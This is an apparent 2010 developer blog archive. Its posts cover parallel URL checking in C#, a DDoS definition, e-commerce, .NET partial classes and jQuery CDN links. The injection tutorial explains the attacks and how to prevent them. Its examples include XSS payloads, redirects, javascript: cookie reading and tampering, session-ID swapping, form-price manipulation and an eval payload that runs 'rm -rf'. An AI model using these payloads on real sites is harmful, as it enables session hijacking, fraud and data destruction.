Saturday, December 25, 2010

Choosing CSS Versions

When working with Cascading Style Sheets you often find yourself working with specific versions. 

Click here find more ...

Wednesday, December 8, 2010

Verify a List of URLs in C# Asynchronously

Recently I wanted to test a bunch of URLs to see whether they were broken/valid.  In my scenario, I was checking on URLs for advertisements that are served by Lake Quincy Media’s ad server (LQM is the largest Microsoft developer focused advertising network/agency).  However, this kind of thing is an extremely common task that should be very easy for any web developer or even just website administrator to want to do.  It also gave me an opportunity to use the new asynch features in .NET 4 for a production use, since prior to this I’d only played with samples.

Check if a URL is OK

First, you’ll need a method that will tell you whether a given URL is OK.  What OK means might vary based on your needs – in my case I was just looking for the status code.  I found the following codehere.

   1: private static bool RemoteFileExists(string url)
   2: {
   3:     try
   4:     {
   5:         var request = WebRequest.Create(url) as HttpWebRequest;
   6:         request.Method = "HEAD";
   7:         var response = request.GetResponse() as HttpWebResponse;
   8:         return (response.StatusCode == HttpStatusCode.OK);
   9:     }
  10:     catch
  11:     {
  12:         return false;
  13:     }
  14: }

 

Using this Synchronously

If you want to use this synchronously, it’s pretty simple.  Get a list of URLs and write a loop something like this:

   1: foreach (var link in myLinksToCheck)
   2: {
   3:    link.IsValid = RemoteFileExists(link.Url);
   4: }

 

I checked about 1500 URLs with my script and I wrote it with a flag that would let me run it synch or asynch.  The synchronous version took about an hour and forty minutes to complete.  The asynch one took about seventeen minutes to complete.

Make it Parallel

If you want to see how to do things using the parallel libraries that are now part of .NET 4, there’s no better place to start than the Samples for Parallel Programming with the .NET Framework 4.  There’s some very cool stuff here.  Be sure to check out the Conway’s Game of Life WPF sample.

For me, there were two steps I had to take to turn my synchronous process into a parallelizable process.

1. Create an Action<T> method that would perform the URL check operation and store the result in my collection.  I created a method UpdateUrlStatus(Link linkToCheck) to do this work.

2. Call this method using the new Parallel.For() helper found in System.Threading.Tasks.

Here’s the code, slightly modified from my own domain-specific code:

   1: var linkList = GetLinks();  
   2: Console.WriteLine("Loaded {0} links.", linkList.Count);
   3:     
   4: Action<int> updateLink = i =>
   5:     {
   6:         UpdateLinkStatus(linkList[i]);
   7:         Console.Write(".");
   8:     };
   9: Parallel.For(0, linkList.Count, updateLink);
  10:  
  11: // replaces this synchronous version:
  12: for(int i=0; i < linkList.Count; i++)
  13: {
  14:     updateLink(i);
  15: }

 

In my scenario, using the parallel instead of the iterative approach dropped the time from about 100 minutes down to about 17.  That’s on a machine that appears to windows to have 8 cores.  100/8 = 12.5 so it’s not quite a straight eightfold increase, but it’s close.  If you’ve got applications that are doing a lot of the same kind of work and each operation has little or no dependencies on the other operations, consider using Action<T> and Parallel.For() to take advantage of the many cores available on most modern computers to speed it up.

Resource: http://stevesmithblog.com/blog/verify-a-list-of-urls-in-c-asynchronously/

 

 

Monday, December 6, 2010

HTML and Javascript injection

Introduction

This article is about HTML and Javascript injection techniques used to exploit web site vulnerabilities. Nowadays it's not usual to find a completely vulnerable site to this type of attacks, but only one is enough to exploit it.
I'll make a compilation of these techniques all together, in order to facilitate the reading and to make it entertaining.
HTML injection is a type of attack focused upon the way HTML content is generated and interpreted by browsers at client side.
Otherwise, Javascript is a widely used technology in dynamic web sites, so the use of technics based on this, like injection, complements the nomenclature of 'code injection'. 

Code injection

This type of attack is possible by the way the client browser has the ability to interpret scripts embedded within HTML content enabled by default, so if an attacker embeds script tags such <SCRIPT>, <OBJECT>,<APPLET>, or <EMBED> into a web site, web browser's Javascript engine will execute it.
A typical target of this type of injection are forums, guestbooks, or whatever section where administrator allows the insertion of text comments; if the design of the web site isn't parsing the comments inserted and takes '<' or '>' as real chars, a malicious user could type :

 Collapse
I like this site because <script>alert('Injected!');</script> teachs me a lot 

If it works and you can see the message box, the door is opened to attacker's imagination limits!. A common code insertion used to drive navigation to another website is something like this:

 Collapse
<H1> Vulnerability test </H1> 
 Collapse
<META HTTP-EQUIV="refresh" CONTENT="1;url=http://www.test.com">

  Same within <FK> or <LI> tag :

 Collapse
<FK STYLE="behavior: url(http://<<Other website>>;">

Other tags used to execute malicious Javascript code are, for example, <BR><DIV>, even background-image:

 Collapse
<BR SIZE="&{alert('Injected')}"> 
<DIV STYLE="background-image: url(javascript:alert('Injected'))">

<TITLE> tag is a common weak point if it's generated dynamically. For example, suppose this situation: 

 

 Collapse
<HTML>
<HEAD>
<TITLE><?php echo $_GET['titulo']; ?>
</TITLE> 
</HEAD> 
<BODY> 
...
</BODY> 
</HTML>
 
If you build titulo as 'example </title></head><body><img src=http://myImage.png>', HTML resulting would insert 'myImage.png' image first of all :  

 Collapse
<HTML>
<HEAD>
<TITLE>example</title></head><body><img src=http://myImage.png></TITLE>
</HEAD>
<BODY>
...
</BODY>
</HTML>
 
There is another dangerous HTML tag that could exploit web browser's frames support characteristic :<IFRAME>. This tag allows (within Sandbox security layer) cross-scripting exploiting using web browser elements (address bar or bookmarks for example), but this theme is outside the scope of this article.

Otherwise, there is a commonly technique widely known as “in-line” code injection. This technique exploits javascript functions “alert” and “void”.
Testing it is very easy, just navigate to whatever site, and type in web browser's address bar:

 

 Collapse
javascript:alert('Executed!');

This is not a harmful script, as you see, but suppose you want to get information about the site, for example if it is using cookies or not, you could type something like this :

 Collapse
javascript:alert(document.cookie); 


If the website is not using cookies, no problem, but case else, you could read values like server session ID, or any user data stored in cookies by the application.

Suppose now that we use the void() javascript function instead of alert(). This function returns a NULL value to the web Browser, so no recharging page action is executed. We could change DOM values   inside this function and no navigation change state would occur. Imagine you've found a site that stores PHP session ID in the common cookie 'PHPSESSID'; if we start a new navigation to the same website in another webbrowser instance, we'll get a new 'PHPSESSID'; we could change session Ids in both instances by typing:

 Collapse
javascript: void(document.cookie=”PHPSESSID = <<Any other session ID>>”); alert(document.cookie);

You will see in the message box the new session ID assigned to the actual one. This example shows too the possibility of concatenate more than one action in the same line of execution.

Only taking a look to site cookies you could find some very descriptive one implementing security features, for example, if you find a site cookie like “logged=no”, probably you could go into the logged area simply by changing that cookie value:

 Collapse
javascript: void(document.cookie=”logged=yes”); 

Following this line, it's possible to modify any DOM object using javascript and inject it using previous techniques. Analyzing the source code of a web page you may find it uses forms (<FORM>) for different purposes; in this case, you could change any form field value using void() function, too. Suppose a shopping portal with a  shopping cart; if site designer didn't take care of this type of injection, you could fill the cart and pay for it only $1:

 Collapse
javascript:void(document.forms[0].total.value=1);

These other techniques are named indirect code injection; not only cookies or forms modification are exploited by this technique, any DOM component or HTTP header is exposed.

So, it's very important to keep in mind these code injection techniques when developing web applications as far as possible to make it a more safe application. 

Preventing code injection

When developing web applications it's very recommendable to follow the next considerations to prevent possible code injection :

  • Do not rely on client side Javascript validation whenever possible; as shown before, this is easily deceived using “in-line” injection. For example, suppose you have a shopping portal where you rely the price of each item at client side.
          Suppose yo have only one form to store the shopping chart;attackers could modify you bill, simply by     changing the price as seen before :
 Collapse
javascript:void(document.forms[0].price.value=1);

Solution to this situation is just maintaining shopping chart actions on server side, and getting client side refreshed via AJAX, for example.

  • Don't store sensible data into cookies, cause they can be easly modified by an attacker, as seen before. If you need to store data in cookies, store it with a hash signature generated with a server side key.
  • Never use hidden boxes to hold items because they can be hard coded into the code. Otherwise, you should always validate that fields at server side using a secure algorythm with data received from client as input :

 signatures.png

  • Like <TITLE> example above, you better not use dynamic DOM element generation. 
  • Take care about dynamic evaluation vulnerabilities (like <TITLE> example above). Imagine this piece of code in a PHP page :  

 

 Collapse
      $dato = $_GET['formAge']; 
eval('$edad = ' . $dato . ';');

eval() parameters will be processed, so if “formAge” is set to "5; system('/bin/rm -rf *')", additional code will be executed on server and will remove all files. Dangerous, don't you think so?

 

  • If you are developing a web site that allows user to upload content (forum, guestbook, “contact me”, etc), you may split special HTML chars, so injected tags will maintain in the website, but will not be executed; you can get this with strip_tags() PHP function, htmlentities(), urlencode() or htmlspecialchars(), for example.
  • Use SSL certificate for sensible operations; this doesn't avoid javascript injection, but avoids sensible data from being read by anyone else.



Ultimately, best defense to code injection attacks resides on “Best practices” while programming.

DDoS - Distributed Denial-of-service

DDoS Stacheldraht Attack diagramdenial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of a person or people to prevent an Internet site or servicefrom functioning efficiently or at all, temporarily or indefinitely. Perpetrators of DoS attacks typically target sites or services hosted on high-profile web servers such as banks, credit cardpayment gateways, and even root nameservers. The term is generally used with regards tocomputer networks, but is not limited to this field, for example, it is also used in reference toCPU resource management.[1]

One common method of attack involves saturating the target machine with external communications requests, such that it cannot respond to legitimate traffic, or responds so slowly as to be rendered effectively unavailable. In general terms, DoS attacks are implemented by either forcing the targeted computer(s) to reset, or consuming its resourcesso that it can no longer provide its intended service or obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.

Denial-of-service attacks are considered violations of the IAB's Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers. They also commonly constitute violations of the laws of individual nations.[2]

Sunday, December 5, 2010

Electronic commerce

Electronic commerce, commonly known as e-commerce or eCommerce, consists of the buying and selling of products or services over electronic systems such as the Internet and other computer networks. The amount of trade conducted electronically has grown extraordinarily with widespread Internet usage. The use of commerce is conducted in this way, spurring and drawing on innovations inelectronic funds transfersupply chain managementInternet marketingonline transaction processing,electronic data interchange (EDI), inventory management systems, and automated data collection systems. Modern electronic commerce typically uses the World Wide Web at least at some point in the transaction's lifecycle, although it can encompass a wider range of technologies such as e-mail as well.

A large percentage of electronic commerce is conducted entirely electronically for virtual items such as access to premium content on a website, but most electronic commerce involves the transportation of physical items in some way. Online retailers are sometimes known as e-tailers and online retail is sometimes known as e-tail. Almost all big retailers have electronic commerce presence on the World Wide Web.

Electronic commerce that is conducted between businesses is referred to as business-to-business or B2B. B2B can be open to all interested parties (e.g. commodity exchange) or limited to specific, pre-qualified participants (private electronic market). Electronic commerce that is conducted between businesses and consumers, on the other hand, is referred to as business-to-consumer or B2C. This is the type of electronic commerce conducted by companies such as Amazon.comOnline shopping is a form of electronic commerce where the buyer is directly online to the seller's computer usually via the internet. There is no intermediary service. The sale and purchase transaction is completed electronically and interactively in real-time such as Amazon.com for new books. If an intermediary is present, then the sale and purchase transaction is called electronic commerce such as eBay.com.

Electronic commerce is generally considered to be the sales aspect of e-business. It also consists of the exchange of data to facilitate the financing and payment aspects of the business transactions.

Thursday, December 2, 2010

Partial Classes in .NET

One of the greatest benefits of partial classes is that it allows a clean separation of business logic and the user interface (in particular the code that is generated by the visual designer). Using partial classes, the UI code can be hidden from the developer, who usually has no need to access it anyway. Partial classes will also make debugging easier, as the code is partitioned into separate files.



So, what are the uses for partial classes?
Here are some good reasons to use partial classes:
1. They allow programmers on your team to work on different parts of a class without needing to share the same physical file. While this is useful for projects that involve big class files, be wary: If you find your class file getting too large, it may well signal a design fault and re-factoring may be required.
2. The most compelling reason for using partial class is to separate your application business logic from the designer-generated code. For example, the code generated by Visual Studio 2005 for a Windows Form is kept separate from your business logic (we will discuss this in a later section). This will prevent developers from messing with the code that is used for the UI. At the same time, it will prevent you from losing your changes to the designer-generated code when you change the UI.

jQuery Releases on the CDN

The following releases of jQuery are hosted on the CDN: 

jQuery version 1.4.4


  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.4.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.4.min.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.4-vsdoc.js

jQuery version 1.4.3

  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.3.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.3.min.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.3-vsdoc.js

jQuery version 1.4.2

  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.2.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.2.min.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.2-vsdoc.js

jQuery version 1.4.1

  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.1.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.1.min.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.1-vsdoc.js 

jQuery version 1.4

  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.min.js 

jQuery version 1.3.2 

  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.3.2.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.3.2.min.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.3.2-vsdoc.js
  • http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.3.2.min-vsdoc.js 

jQuery UI Releases on the CDN

The following releases of the jQuery UI library are hosted on this CDN. Click each link to see the actual list of files. 


jQuery Validation Releases on the CDN

The following releases of the jQuery Validation library are hosted on this CDN. Click each link to see the actual list of files. 


jQuery Templates Releases on the CDN

The following releases of the jQuery Templates plugin are hosted on this CDN. Click each link to see the actual list of files. 


jQuery Cycle Releases on the CDN

The following releases of the jQuery Cycle plugin are hosted on this CDN. Click each link to see the actual list of files. 

Using ASP.NET Ajax from the CDN

When using ASP.NET 4, you can redirect all requests for ASP.NET framework scripts to the CDN. Retrieving scripts from the CDN instead of your local web server can substantially improve the performance of public ASP.NET websites.


Use the ScriptManager EnableCDN property to redirect all ASP.NET framework script requests to the Microsoft Ajax CDN:

  1. <asp:ScriptManager  
  2.   ID="ScriptManager1"  
  3.   EnableCdn="true"  
  4.   Runat="Server" />  

ajax.microsoft.com renamed to ajax.aspnetcdn.com

The CDN used to use the microsoft.com domain name and has been changed to use the aspnetcdn.com domain name. This change was made to increase performance because when a browser referenced the microsoft.com domain it would send any cookies from that domain across the wire with each request. By renaming to a domain name other than microsoft.com performance can be increased by as much to 25%. Note ajax.microsoft.com will continue to function but ajax.aspnetcdn.com is recommended.


  • Old Format: http://ajax.microsoft.com/ajax/jQuery/jquery-1.4.4.js
  • New Format: http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.4.4.js

The new format does not support SSL yet, so if you need to use SSL you should use the older format until we get SSL enabled on the new format.